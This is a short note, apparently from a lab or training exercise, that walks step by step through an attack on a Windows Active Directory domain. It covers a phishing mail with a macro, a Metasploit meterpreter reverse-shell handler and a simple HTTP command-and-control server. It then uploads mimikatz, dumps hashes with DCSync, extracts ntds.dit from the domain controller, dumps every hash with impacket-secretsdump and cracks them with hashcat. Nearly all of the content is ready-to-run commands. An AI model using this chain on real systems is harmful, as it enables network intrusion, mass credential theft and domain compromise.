---
# System prepended metadata

title: Payload
tags: [Chimera]

---

# Payload
###### tags: `Chimera`
[TOC]
## Send mail containing malicious macro code
### create an office file with macro code
![](https://i.imgur.com/ZMJisQp.png)

## Waiting for victim open then gets reverse shell 
### build msfconsole handler
```=
use exploit/multi/handler
set encoder x64/xor_dynamic
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 7777
set ExitOnSession false
exploit -j -z
```
### build C2 server(http)
```=
python3 -m http.server
```
## Dump AD user NTLM and Crack in Win10
### upload mimikatz
in Kali(metepreter)
1. Get File Location(in shell)
1. upload mimikatz
```cmd=
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe C:\\\\Users\\ITM\\Desktop\\mimikatz.exe
upload /usr/share/windows-resources/mimikatz/x64/mimidrv.sys C:\\\\Users\\ITM\\Desktop\\mimidrv.sys
upload /usr/share/windows-resources/mimikatz/x64/mimilib.dll C:\\\\Users\\ITM\\Desktop\\mimilib.dll
```
### get Domain and Username
in Kali(metepreter)
```cmd=
shell
whoami
ipconfig /all
```
### Dump user's NTLM
in Kali(metepreter)
```cmd=
cd c:\Users\ITM\Desktop\
mimikatz.exe
lsadump::dcsync /domain:chimera.org /user:ITM  ##get ntlm
```
### Crack User's password
in Kali(other terminal)
```cmd=
echo <username>:<UID>:aad3b435b51404eeaad3b435b51404ee:<NTLM>::: > crack.txt
hashcat -m 1000 -a 0 crack.txt wordlist.txt -o ans.txt
```
:::info
* if The length of user's password is not enough, the prefix of hash is aad3b435b51404eeaad3b435b51404ee
* Format in hashcat with NTLM
<username>:<UID>:<Hash Prefix>:<Hash Suffix>:::
* UID is not import in here
:::
## Login ADServer & Crack All AD user password
### RDP ADserver
in Kali
```cmd=
rdesktop -u ITM -p <password> -d <domain> <IP> -r disk:<name>=<local file addr>
```
:::info
-u username
-p password
-d Domain
-r
:::
### Get ntds.dit SYSTEM
in ADServer cmd(admin)
```cmd=
ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit
```
### Crack All user&password
1. Get SYSTEM ntds.dit Back to Kali 
1. Dump (in kali)
    ```cmd=
    impacket-secretsdump -system <SYSTEM> -ntds <ntds.dit> LOCAL
    ```
1. MAKE hash.txt
1. Crack
    ```cmd=
    hashcat -m 1000 -a 0 hash.txt wordlist.txt -o password.txt
    ```